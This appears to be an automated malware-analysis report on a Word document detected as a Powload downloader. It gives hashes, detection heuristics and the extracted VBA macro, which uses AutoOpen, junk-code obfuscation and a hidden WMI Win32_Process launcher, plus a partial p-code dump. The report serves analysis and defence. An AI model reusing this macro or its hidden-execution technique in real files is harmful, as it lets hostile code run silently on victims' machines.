Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5a00860e9c659e6…

MALICIOUS

Office (OLE)

176.0 KB Created: 2019-04-25 13:36:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 79d51aaed2e671b9d4288aca223ccbef SHA-1: 84e4bc8b2254a4c92b01d5b487fa9a67da829d0e SHA-256: d5a00860e9c659e68ccc5150d9d54d702862aeab67453e12195cebb432f9e3cf
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6956244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6956244-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set wkAGAAA = fBcC_Q(GetObject("winmgmts:Win32_Process" + "Sta" + "rtup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set wkAGAAA = fBcC_Q(GetObject("winmgmts:Win32_Process" + "Sta" + "rtup"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29309 bytes
SHA-256: 4391a1d1ddfe7f3a4c4f44dcf5e02120aec096dda1743f159859ac251bfc7b6c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SADAcAAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zBQQQBA"
Attribute VB_Base = "0{9C31BECD-AC35-4988-BEE6-76D1ABE2D9C0}{E3DBEEFC-40DB-402D-BF84-8AB8D1CF46F7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Vk1xA1"
Attribute VB_Base = "0{921EC0C3-F11E-4C0F-B790-7EE22CCBC998}{A357984B-B830-490C-A686-DA4C71181229}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MUAAC1"
Sub autoopen()
   If JAQwUAB = AkcQUUG Then
ElseIf iBQDAAA = ADCBAZ Then
            JAX_ABkU = CVar(807281421)
ElseIf HcAoAxx = EAAUUABU Then
            YZo4QD = Hex(310567)
ElseIf NAGDAA = T_oAAw Then
            AcAAkAAG = CInt(633586835)
ElseIf NDDQAo = MUAUDQ Then
End If
   If rkUABB = jAkQ_XU Then
ElseIf mAZAkAQ4 = ZADwwUo Then
            cADB_A1Z = CVar(31960144)
ElseIf kAkoQX4 = YBA1A4DA Then
            G4U4oCDA = Hex(41225167)
ElseIf IZQkUAxZ = p1A1UA Then
            t1cAkCB = CInt(313772777)
ElseIf wXAB4A = FXAQAA Then
End If
   If zxAoAk = HZ4AAD Then
ElseIf oBwAUBc = mAoDACB Then
            sAA4UA = CVar(900172470)
ElseIf SXBXwwAA = ZZkx1_1U Then
            QQx4XA = Hex(373829164)
ElseIf scQABA = cXG_XABB Then
            pQAUQwxG = CInt(814007855)
ElseIf zcBc_DAC = TD4AQx Then
End If
uUA1oG
   If XABDDAC = WAk4AQAA Then
ElseIf fA_BAoA = qAGxckQ Then
            QDkACDB = CVar(486341377)
ElseIf lADABAG = K4XQ1DGU Then
            HZ1AAB = Hex(376816496)
ElseIf PUxQDAAA = FDACBQQ Then
            rB1GDDU = CInt(14870675)
ElseIf pXXAxo4X = wkQAxAAA Then
End If
   If ZQAAAA4x = WAcAAAZG Then
ElseIf BABAA1 = sUAxcCA Then
            NAB1oQ = CVar(555578273)
ElseIf VQADAoA1 = wxUAAX Then
            pUAAZoUw = Hex(29558707)
ElseIf GBxxBoQD = HoUXAAx Then
            FkUcQxQD = CInt(290681313)
ElseIf Bo4AA4C = nwDUAA Then
End If
   If SAQwGA = mDckZAx Then
ElseIf nD_kAA = DAcABD Then
            OQXQAcDA = CVar(623544105)
ElseIf AB_AAA = rokAcB Then
            wAAAUAD = Hex(233060568)
ElseIf hDQxAZAX = fAUkUXo Then
            pwGkDA = CInt(221528681)
ElseIf XAwwAAAD = Y4cQX_cZ Then
End If
End Sub
Function fBcC_Q(EGwQXxQZ)
   If QAZAA_Ax = zxAQ4w Then
ElseIf pAAkkAA = cQD1cB Then
            kGDGUA = CVar(983503055)
ElseIf GCwUZU = lAxXAAw Then
            oABQx_ = Hex(653498948)
ElseIf cUQDZQDA = JQADBCAU Then
            p4AoZcUA = CInt(442485490)
ElseIf dX4Bk44 = rcADBG Then
End If
   If O_D1BA1 = dAAwBoB Then
ElseIf pc4oAG4 = PDAD_xA Then
            PAZoXA = CVar(368013455)
ElseIf tCQAGA = OQUBUGA Then
            kGwAAA = Hex(955606080)
ElseIf oAAQQZZ = poAUQcAA Then
            Po_UoA = CInt(119563226)
ElseIf sAABAAAA = AADCCxk Then
End If
Set fBcC_Q = CVar(EGwQXxQZ)
   If YU4kAQ_ = pGAABxoX Then
ElseIf z1ABAGD1 = hUAGXA Then
            PBAACA = CVar(131534684)
ElseIf EQDAkAG = WAc_AwA Then
            EDB4A4 = Hex(817071654)
ElseIf MAAwAA = aDwQAA Then
            KBDAAwD4 = CInt(787289538)
ElseIf p_BZDXA_ = KDAXGU Then
End If
   If tQAAAA = BQUAAQX Then
ElseIf ckQwAA = LwXoAAG Then
            AGUAUG = CVar(75692798)
ElseIf uAxA_Dc = VXCCA_D Then
            E4GkAQA = Hex(517121053)
ElseIf MA_UAB = cBQkA_AA Then
            CoAAok = CInt(989270378)
ElseIf pkw4CBA = zZADCQA Then
End If
   If jAUxQA = SxGA__ Then
ElseIf NDGcA_U = LAckcU Then
            GcoxUGXx = CVar(627866982)
ElseIf EDcAAAG = XAAUGBBG Then
            SAAZAZ = Hex(374839455)
ElseIf j_cAAAC = jDX1AA Then
            rAABkZAB = CInt(363231268)
ElseIf tGAQDk = XBUBAA Then
End If
End Function

Attribute VB_Name = "tAAkD_"
Function uUA1oG()
On Error Resume Next
   If QAAkkcAw = bABx1x Then
ElseIf BAAAww = akUQUB4 Then
            YGG4wUA4 = CVar(751723373)
ElseIf wADAkXA = DAGA__AB Then
            zQAkBDA4 = Hex(814381835)
ElseIf h_ooGX = VXAAAAAc Then
            nAcxoU = CInt(945796882)
ElseIf M1D4Dc = RQBAAQD Then
End If
   If hoAQUXD = HDAwGUAU Then
ElseIf XAUGxD = VAZAADU Then
            aAZQAwA = CVar(989818491)
ElseIf WUAwxAUA = KAAABGo_ Then
            RZAAAAX = Hex(286529870)
ElseIf pG4A_X = YXDAD4 Then
            RUXwD_ZQ = CInt(586650980)
ElseIf ADDwkX = aXADDA Then
End If
If 6799 < 58261 Then
oUDAABx = vbFalse
   If HBZQA4o = FCwZoUUG Then
ElseIf jXBBAU = oADQUU Then
            mQBXDAA = CVar(712903519)
ElseIf jU4AAc = IAQU4AA Then
            OQBwZZ = Hex(380938393)
ElseIf FwwBAoZA = jcQUUDQ Then
            BAZAACAX = CInt(767652014)
ElseIf KwBUBo = DGXQCGA Then
End If
   If UCoXcAB = qUAZUk Then
ElseIf RZQAUBB = WwX1Ck Then
            qCAAxCAA = CVar(61145401)
ElseIf iUXAXAQ = lUD11QAA Then
            sAAQoA = Hex(586234263)
ElseIf cxAABw = MDcAAQGA Then
            t_wwAZx = CInt(144250254)
ElseIf u1c4wXA = BADAcZwA Then
End If
   If L4AGAA = fA1UUQCA Then
ElseIf YkAAoDGU = GXAw_B Then
            qBBcCw = CVar(90108280)
ElseIf BGA1Ak = ixAUUcU Then
            mUUACkAU = Hex(454392335)
ElseIf YXAUwx = ko1DAAQB Then
            FBACXZG = CInt(270970037)
ElseIf dQ4DQw = EUZUDGA Then
End If
End If
   If TDx44AGx = FAAQQQ Then
ElseIf HABo4XG = iCX1D1Bx Then
            PAcDkwAA = CVar(656241784)
ElseIf FXAD1AAZ = wAAADcoA Then
            noCUXAB = Hex(705491096)
ElseIf TxDAZA_A = WZoxDkX Then
            NADkAA = CInt(224297841)
ElseIf HkDABA = NoBAZcGA Then
End If
   If TBwGBCA_ = hBxXAUQA Then
ElseIf bU_AXU = iUQAADC Then
            YZBBkAD1 = CVar(258202752)
ElseIf d_CABUD = PZXxAo Then
            zQGADo = Hex(319972327)
ElseIf RADDACD = FAZAAccA Then
            RBBwAC1U = CInt(616418423)
ElseIf iAoZACo = dDAZQUA Then
End If
Set wkAGAAA = fBcC_Q(GetObject("winmgmts:Win32_Process" + "Sta" + "rtup"))
   If nAXBZCQA = IDwkBo1A Then
ElseIf TB1AQQAG = KZ1AA1oA Then
            BQBxQw = CVar(106420935)
ElseIf wocAw_ = BACAkAQ Then
            pCQAxoQQ = Hex(762071330)
ElseIf NDAAAADA = EAACBU Then
            vDAZkAA = CInt(475113230)
ElseIf z_AAAXDG = F_QAAAU Then
End If
   If fAxAAQUo = mAA_DUQ Then
ElseIf CxxQUB = qADBxGA Then
            lUAxXA = CVar(847951680)
ElseIf jcAA4XGX = io1cAA4A Then
            m_wXAc = Hex(815967963)
ElseIf rQAQxA = dAXABG Then
            IUAoQ44D = CInt(737263053)
ElseIf oAAADx = IADAAU Then
End If
QADAAQGA = zBQQQBA.PxA1AQ_ + Vk1xA1.UCxBX11 + zBQQQBA.PxA1AQ_ + Vk1xA1.NcxQcwD + zBQQQBA.PxA1AQ_.ControlTipText + zBQQQBA.PxA1AQ_.ControlSource + Vk1xA1.WDAB_A4 + zBQQQBA.PxA1AQ_.ControlTipText + zBQQQBA.PxA1AQ_.ControlTipText + Vk1xA1.wDG_QG + zBQQQBA.PxA1AQ_.ControlTipText + Vk1xA1.vDAAAGQ + zBQQQBA.PxA1AQ_.ControlSource
If 332 < 99223 Then
   If wAwCAXA = HwAGQBA Then
ElseIf f_ocB4B = vxCDDBXA Then
            FA_UA4k = CVar(47345403)
ElseIf YQ4XAQ = AXAUAAA Then
            CBA_oAA = Hex(919850133)
ElseIf DwUAQA = HUABBDG Then
            mUAXABD = CInt(87479494)
ElseIf pBCBAADA = oD_AQXG Then
End If
   If VwAGCAQ = w_AcQQZ4 Then
ElseIf CQAUDAc = uDDQGBB Then
            dkwoAA = CVar(363565487)
ElseIf OAD_wAQ = fZAQCD Then
            loGZAC = Hex(409031484)
ElseIf QAAAcA = kZAABA Then
            ZcAXAA = CInt(852085954)
ElseIf F_1DBZ = JZw1AA Then
End If
wkAGAAA. _
ShowWindow = oUDAABx + oUDAABx + oUDAABx + oUDAABx
   If uckAA1Ao = lUXA1DB Then
ElseIf OAQAC_k = f1AAxQAU Then
            i4AAAAB = CVar(87164285)
ElseIf ZX1AZDAk = JZBAAx Then
            TAC4ACAA = Hex(132287015)
ElseIf FDDAB1Ac = iAXA_A Then
            FDx4CU = CInt(731770167)
ElseIf nDQGwwAA = oAQBxA4U Then
End If
   If j4XoAD1A = t1ZAAAA Then
ElseIf wQAxUA1 = iAoAZA Then
            CCAAAoA = CVar(665261705)
ElseIf MAQkAU = QB4Z_k_ Then
            KAAQAo = Hex(469332779)
ElseIf oc1AwD = DAB_oZD Then
            rcQZ1cAB = CInt(633610756)
ElseIf NooAQXA = jAAoAD Then
End If
End If
   If cwAAoG = cAxDAoA Then
ElseIf oAAX_GAA = iwGAwC1 Then
            zABZAGBA = CVar(2939694)
ElseIf UcBCABBo = UxUk1ko Then
            XAC1AkXG = Hex(131548211)
ElseIf WAXAA4GA = SAAXBUX Then
            cUDwA4A = CInt(693029730)
ElseIf dA_AXkAA = jAkwkDAA Then
End If
   If wkZUkGw = iGcBA1A Then
ElseIf BQ_A4AC = dUAxAG1 Then
            WZ_DAD = CVar(507793208)
ElseIf VD4Awc = wDZQAAAD Then
            vAU1QAk = Hex(301179462)
ElseIf zADAZAQx = HQAAUX Then
            TAUxDG4 = CInt(474900464)
ElseIf pG1CXo = lBAAwAAZ Then
End If
Set ZDD_Qck = fBcC_Q(GetObject("winmgmts:Win32_Process"))
   If vBwBAUQA = cwU1kA_ Then
ElseIf TAA1_UA = FDAAAwUD Then
            wABADwA = CVar(193451463)
ElseIf sQ_XAU = bQAAcD Then
            SZZZoQC = Hex(819378640)
ElseIf qZQD1Q = rBoc4x Then
            qXZA__k = CInt(771217922)
ElseIf jxAD4AAD = Y__AcA Then
End If
   If TAZo4Ax = XAU_BA Then
ElseIf icBAwXXB = lBAAZQ Then
            k_AAAA = CVar(767405305)
ElseIf XkAQw1QC = RAUAAA Then
            HQUBAQ = Hex(362931643)
ElseIf QXBGUAU = iQZBGAA Then
            BcAkA14 = CInt(624004527)
ElseIf jZwAQA = MZCkABoG Then
End If
ZDD_Qck.Create UA_BZCAA + QADAAQGA + SDQwABA, zACwABAD, wkAGAAA, DAwAD_Qw
   If nZADcAAk = q4DQkD Then
ElseIf UkBABAA1 = KXAAQQQD Then
            OUCxwAA = CVar(829493088)
ElseIf i_xAAxC = vAUQ_AAQ Then
            PcAAAZ = Hex(988578476)
ElseIf w1B4AoAA = hQBCkUQ Then
            XD4ZAQDA = CInt(552379450)
ElseIf MAADGADA = MX_ADQ_ Then
End If
   If MBBBBCUU = zX1QBCZ Then
ElseIf k_DAkA = TADQAABB Then
            FAZwAw = CVar(697875727)
ElseIf lkoxkBoX = GAUAcxDA Then
            XACQUU = Hex(268338175)
ElseIf BkAAB1A = zwoQAC Then
            kAQXD1x = CInt(629089177)
ElseIf KkAA1A = nU_BZAQ Then
End If
End Function


' Processing file: /opt/analyzer/scan_staging/55b517fbe67f453c8048acecb5510d07.bin
' ===============================================================================
' Module streams:
' Macros/VBA/SADAcAAA - 1106 bytes
' Macros/VBA/zBQQQBA - 1156 bytes
' Macros/VBA/Vk1xA1 - 1157 bytes
' Macros/VBA/MUAAC1 - 5408 bytes
' Line #0:
' 	FuncDefn (Sub MUAAC1())
' Line #1:
' 	Ld autoopen 
' 	Ld JAQwUAB 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	Ld AkcQUUG 
' 	Ld iBQDAAA 
' 	Eq 
' 	ElseIfBlock 
' Line #3:
' 	LitDI4 0x230D 0x301E 
' 	Coerce (Var) 
' 	St ADCBAZ 
' Line #4:
' 	Ld JAX_ABkU 
' 	Ld HcAoAxx 
' 	Eq 
' 	ElseIfBlock 
' Line #5:
' 	LitDI4 0xBD27 0x0004 
' 	ArgsLd Hex 0x0001 
' 	St EAAUUABU 
' Line #6:
' 	Ld YZo4QD 
' 	Ld NAGDAA 
' 	Eq 
' 	ElseIfBlock 
' Line #7:
' 	LitDI4 0xC493 0x25C3 
' 	Coerce (Int) 
' 	St T_oAAw 
' Line #8:
' 	Ld AcAAkAAG 
' 	Ld NDDQAo 
' 	Eq 
' 	ElseIfBlock 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld MUAUDQ 
' 	Ld rkUABB 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	Ld jAkQ_XU 
' 	Ld mAZAkAQ4 
' 	Eq 
' 	ElseIfBlock 
' Line #12:
' 	LitDI4 0xAC50 0x01E7 
' 	Coerce (Var) 
' 	St ZADwwUo 
' Line #13:
' 	Ld cADB_A1Z 
' 	Ld kAkoQX4 
' 	Eq 
' 	ElseIfBlock 
' Line #14:
' 	LitDI4 0x0BCF 0x0275 
' 	ArgsLd Hex 0x0001 
' 	St YBA1A4DA 
' Line #15:
' 	Ld G4U4oCDA 
' 	Ld IZQkUAxZ 
' 	Eq 
' 	ElseIfBlock 
' Line #16:
' 	LitDI4 0xCAE9 0x12B3 
' 	Coerce (Int) 
' 	St p1A1UA 
' Line #17:
' 	Ld t1cAkCB 
' 	Ld wXAB4A 
' 	Eq 
' 	ElseIfBlock 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld FXAQAA 
' 	Ld zxAoAk 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld HZ4AAD 
' 	Ld oBwAUBc 
' 	Eq 
' 	ElseIfBlock 
' Line #21:
' 	LitDI4 0x8AB6 0x35A7 
' 	Coerce (Var) 
' 	St mAoDACB 
' Line #22:
' 	Ld sAA4UA 
' 	Ld SXBXwwAA 
' 	Eq 
' 	ElseIfBlock 
' Line #23:
' 	LitDI4 0x2E2C 0x1648 
' 	ArgsLd Hex 0x0001 
' 	St ZZkx1_1U 
' Line #24:
' 	Ld QQx4XA 
' 	Ld scQABA 
' 	Eq 
' 	ElseIfBlock 
' Line #25:
' 	LitDI4 0xC62F 0x3084 
' 	Coerce (Int) 
' 	St cXG_XABB 
' Line #26:
' 	Ld pQAUQwxG 
' 	Ld zcBc_DAC 
' 	Eq 
' 	ElseIfBlock 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	ArgsCall TD4AQx 0x0000 
' Line #29:
' 	Ld uUA1oG 
' 	Ld XABDDAC 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Ld WAk4AQAA 
' 	Ld fA_BAoA 
' 	Eq 
' 	ElseIfBlock 
' Line #31:
' 	LitDI4 0xFB01 0x1CFC 
' 	Coerce (Var) 
' 	St qAGxckQ 
' Line #32:
' 	Ld QDkACDB 
' 	Ld lADABAG 
' 	Eq 
' 	ElseIfBlock 
' Line #33:
' 	LitDI4 0xC370 0x1675 
' 	ArgsLd Hex 0x0001 
' 	St K4XQ1DGU 
' Line #34:
' 	Ld HZ1AAB 
' 	Ld PUxQDAAA 
' 	Eq 
' 	ElseIfBlock 
' Line #35:
' 	LitDI4 0xE893 0x00E2 
' 	Coerce (Int) 
' 	St FDACBQQ 
' Line #36:
' 	Ld rB1GDDU 
' 	Ld pXXAxo4X 
' 	Eq 
' 	ElseIfBlock 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	Ld wkQAxAAA 
' 	Ld ZQAAAA4x 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	Ld WAcAAAZG 
' 	Ld BABAA1 
' 	Eq 
' 	ElseIfBlock 
' Line #40:
' 	LitDI4 0x73A1 0x211D 
' 	Coerce (Var) 
' 	St sUAxcCA 
' Line #41:
' 	Ld NAB1oQ 
' 	Ld VQADAoA1 
' 	Eq 
' 	ElseIfBlock 
' Line #42:
' 	LitDI4 0x07B3 0x01C3 
' 	ArgsLd Hex 0x0001 
' 	St wxUAAX 
' Line #43:
' 	Ld pUAAZoUw 
' 	Ld GBxxBoQD 
' 	Eq 
' 	ElseIfBlock 
' Line #44:
' 	LitDI4 0x71E1 0x1153 
' 	Coerce (Int) 
' 	St HoUXAAx 
' Line #45:
' 	Ld FkUcQxQD 
' 	Ld Bo4AA4C 
' 	Eq 
' 	ElseIfBlock 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	Ld nwDUAA 
' 	Ld SAQwGA 
' 	Eq 
' 	IfBlock 
' Line #48:
' 	Ld mDckZAx 
' 	Ld nD_kAA 
' 	Eq 
' 	ElseIfBlock 
' Line #49:
' 	LitDI4 0x8729 0x252A 
' 	Coerce (Var) 
' 	St DAcABD 
' Line #50:
' 	Ld OQXQAcDA 
' 	Ld AB_AAA 
' 	Eq 
' 	ElseIfBlock 
' Line #51:
' 	LitDI4 0x38D8 0x0DE4 
' 	ArgsLd Hex 0x0001 
' 	St rokAcB 
' Line #52:
' 	Ld wAAAUAD 
' 	Ld hDQxAZAX 
' 	Eq 
' 	ElseIfBlock 
' Line #53:
' 	LitDI4 0x4269 0x0D34 
' 	Coerce (Int) 
' 	St fAUkUXo 
' Line #54:
' 	Ld pwGkDA 
' 	Ld XAwwAAAD 
' 	Eq 
' 	ElseIfBlock 
' Line #55:
' 	EndIfBlock 
' Line #56:
' 	EndSub 
' Line #57:
' 	FuncDefn (Function Y4cQX_cZ(fBcC_Q))
' Line #58:
' 	Ld EGwQXxQZ 
' 	Ld QAZAA_Ax 
' 	Eq 
' 	IfBlock 
' Line #59:
' 	Ld zxAQ4w 
' 	Ld pAAkkAA 
' 	Eq 
' 	ElseIfBlock 
' Line #60:
' 	LitDI4 0x10CF 0x3A9F 
' 	Coerce (Var) 
' 	St cQD1cB 
' Line #61:
' 	Ld kGDGUA 
' 	Ld GCwUZU 
' 	Eq 
' 	ElseIfBlock 
' Line #62:
' 	LitDI4 0x9A44 0x26F3 
' 	ArgsLd Hex 0x0001 
' 	St lAxXAAw 
' Line #63:
' 	Ld oABQx_ 
' 	Ld cUQDZQDA 
' 	Eq 
' 	ElseIfBlock 
' Line #64:
' 	LitDI4 0xCAF2 0x1A5F 
' 	Coerce (Int) 
' 	St JQADBCAU 
' Line #65:
' 	Ld p4AoZcUA 
' 	Ld dX4Bk44 
' 	Eq 
' 	ElseIfBlock 
' Line #66:
' 	EndIfBlock 
' Line #67:
' 	Ld rcADBG 
' 	Ld O_D1BA1 
' 	Eq 
' 	IfBlock 
' Line #68:
' 	Ld dAAwBoB 
' 	Ld pc4oAG4 
' 	Eq 
' 	ElseIfBlock 
' Line #69:
' 	LitDI4 0x708F 0x15EF 
' 	Coerce (Var) 
' 	St PDAD_xA 
' Line #70:
' 	Ld PAZoXA 
' 	Ld tCQAGA 
' 	Eq 
' 	ElseIfBlock 
' Line #71:
' 	LitDI4 0x6440 0x38F5 
' 	ArgsLd Hex 0x0001 
' 	St OQUBUGA 
' Line #72:
' 	Ld kGwAAA 
' 	Ld oAAQQZZ 
' 	Eq 
' 	ElseIfBlock 
' Line #73:
' 	LitDI4 0x63DA 0x0720 
' 	Coerce (Int) 
' 	St poAUQcAA 
' Line #74:
' 	Ld Po_UoA 
' 	Ld sAABAAAA 
' 	Eq 
' 	ElseIfBlock 
' Line #75:
' 	EndIfBlock 
' Line #76:
' 	SetStmt 
' 	Ld fBcC_Q 
' 	Coerce (Var) 
' 	Set Y4cQX_cZ 
' Line #77:
' 	Ld AADCCxk 
' 	Ld YU4kAQ_ 
' 	Eq 
' 	IfBlock 
' Line #78:
' 	Ld pGAABxoX 
' 	Ld z1ABAGD1 
' 	Eq 
' 	ElseIfBlock 
' Line #79:
' 	LitDI4 0x0F5C 0x07D7 
' 	Coerce (Var) 
' 	St hUAGXA 
' Line #80:
' 	Ld PBAACA 
' 	Ld EQDAkAG 
' 	Eq 
' 	ElseIfBlock 
' Line #81:
' 	LitDI4 0x8626 0x30B3 
' 	ArgsLd Hex 0x0001 
' 	St WAc_AwA 
' Line #82:
' 	Ld EDB4A4 
' 	Ld MAAwAA 
' 	Eq 
' 	ElseIfBlock 
' Line #83:
' 	LitDI4 0x15C2 0x2EED 
' 	Coerce (Int) 
' 	St aDwQAA 
' Line #84:
' 	Ld KBDAAwD4 
' 	Ld p_BZDXA_ 
' 	Eq 
' 	ElseIfBlock 
' Line #85:
' 	EndIfBlock 
' Line #86:
' 	Ld KDAXGU 
' 	Ld tQAAAA 
' 	Eq 
' 	IfBlock 
' Line #87:
' 	Ld BQUAAQX 
' 	Ld ckQwAA 
' 	Eq 
' 	ElseIfBlock 
' Line #88:
' 	LitDI4 0xFAFE 0x0482 
' 	Coerce (Var) 
' 	St LwXoAAG 
' Line #89:
' 	Ld AGUAUG 
' 	Ld uAxA_Dc 
' 	Eq 
' 	ElseIfBlock 
' Line #90:
' 	LitDI4 0xA41D 0x1ED2 
' 	ArgsLd Hex 0x0001 
' 	St VXCCA_D 
' Line #91:
' 	Ld E4GkAQA 
' 	Ld MA_UAB 
' 	Eq 
' 	ElseIfBlock 
' Line #92:
' 	LitDI4 0x116A 0x3AF7 
' 	Coerce (Int) 
' 	St cBQkA_AA 
' Line #93:
' 	Ld CoAAok 
' 	Ld pkw4CBA 
' 	Eq 
' 	ElseIfBlock 
' Line #94:
' 	EndIfBlock 
' Line #95:
' 	Ld zZADCQA 
' 	Ld jAUxQA 
' 	Eq 
' 	IfBlock 
' Line #96:
' 	Ld SxGA__ 
' 	Ld NDGcA_U 
' 	Eq 
' 	ElseIfBlock 
' Line #97:
' 	LitDI4 0x7D66 0x256C 
' 	Coerce (Var) 
' 	St LAckcU 
' Line #98:
' 	Ld GcoxUGXx 
' 	Ld EDcAAAG 
' 	Eq 
' 	ElseIfBlock 
' Line #99:
' 	LitDI4 0x989F 0x1657 
' 	ArgsLd Hex 0x0001 
' 	St XAAUGBBG 
' Line #100:
' 	Ld SAAZAZ 
' 	Ld j_cAAAC 
' 	Eq 
' 	ElseIfBlock 
' Line #101:
' 	LitDI4 0x7824 0x15A6 
' 	Coerce (Int) 
' 	St jDX1AA 
' Line #102:
' 	Ld rAABkZAB 
' 	Ld tGAQDk 
' 	Eq 
' 	ElseIfBlock 
' Line #103:
' 	EndIfBlock 
' Line #104:
' 	EndFunc 
' Macros/VBA/tAAkD_ - 9460 bytes
' Line #0:
' 	FuncDefn (Function TD4AQx())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld tAAkD_ 
' 	Ld QAAkkcAw 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld bABx1x 
' 	Ld BAAAww 
' 	Eq 
' 	ElseIfBlock 
' Line #4:
' 	LitDI4 0x636D 0x2CCE 
' 	Coerce (Var) 
' 	St akUQUB4 
' Line #5:
' 	Ld YGG4wUA4 
' 	Ld wADAkXA 
' 	Eq 
' 	ElseIfBlock 
' Line #6:
' 	LitDI4 0x7B0B 0x308A 
' 	ArgsLd Hex 0x0001 
' 	St DAGA__AB 
' Line #7:
' 	Ld zQAkBDA4 
' 	Ld h_ooGX 
' 	Eq 
' 	ElseIfBlock 
' Line #8:
' 	LitDI4 0xB712 0x385F 
' 	Coerce (Int) 
' 	St VXAAAAAc 
' Line #9:
' 	Ld nAcxoU 
' 	Ld M1D4Dc 
' 	Eq 
' 	ElseIfBlock 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	Ld RQBAAQD 
' 	Ld hoAQUXD 
' 	Eq 
' 	IfBlock 
' Line #12:
' 	Ld HDAwGUAU 
' 	Ld XAUGxD 
' 	Eq 
' 	ElseIfBlock 
' Line #13:
' 	LitDI4 0x6E7B 0x3AFF 
' 	Coerce (Var) 
' 	St VAZAADU 
' Line #14:
' 	Ld aAZQAwA 
' 	Ld WUAwxAUA 
' 	Eq 
' 	ElseIfBlock 
' Line #15:
' 	LitDI4 0x194E 0x1114 
' 	ArgsLd Hex 0x0001 
' 	St KAAABGo_ 
' Line #16:
' 	Ld RZAAAAX 
' 	Ld pG4A_X 
' 	Eq 
' 	ElseIfBlock 
' Line #17:
' 	LitDI4 0x9564 0x22F7 
' 	Coerce (Int) 
' 	St YXDAD4 
' Line #18:
' 	Ld RUXwD_ZQ 
' 	Ld ADDwkX 
' 	Eq 
' 	ElseIfBlock 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	LitDI2 0x1A8F 
' 	LitDI4 0xE395 0x0000 
' 	Lt 
' 	IfBlock 
' Line #21:
' 	Ld oUDAABx 
' 	St aXADDA 
' Line #22:
' 	Ld vbFalse 
' 	Ld HBZQA4o 
' 	Eq 
' 	IfBlock 
' Line #23:
' 	Ld FCwZoUUG 
' 	Ld jXBBAU 
' 	Eq 
' 	ElseIfBlock 
' Line #24:
' 	LitDI4 0x0B5F 0x2A7E 
' 	Coerce (Var) 
' 	St oADQUU 
' Line #25:
' 	Ld mQBXDAA 
' 	Ld jU4AAc 
' 	Eq 
' 	ElseIfBlock 
' Line #26:
' 	LitDI4 0xA899 0x16B4 
' 	ArgsLd Hex 0x0001 
' 	St IAQU4AA 
' Line #27:
' 	Ld OQBwZZ 
' 	Ld FwwBAoZA 
' 	Eq 
' 	ElseIfBlock 
' Line #28:
' 	LitDI4 0x70AE 0x2DC1 
' 	Coerce (Int) 
' 	St jcQUUDQ 
' Line #29:
' 	Ld BAZAACAX 
' 	Ld KwBUBo 
' 	Eq 
' 	ElseIfBlock 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld DGXQCGA 
' 	Ld UCoXcAB 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	Ld qUAZUk 
' 	Ld RZQAUBB 
' 	Eq 
' 	ElseIfBlock 
' Line #33:
' 	LitDI4 0x0139 0x03A5 
' 	Coerce (Var) 
' 	St WwX1Ck 
' Line #34:
' 	Ld qCAAxCAA 
' 	Ld iUXAXAQ 
' 	Eq 
' 	ElseIfBlock 
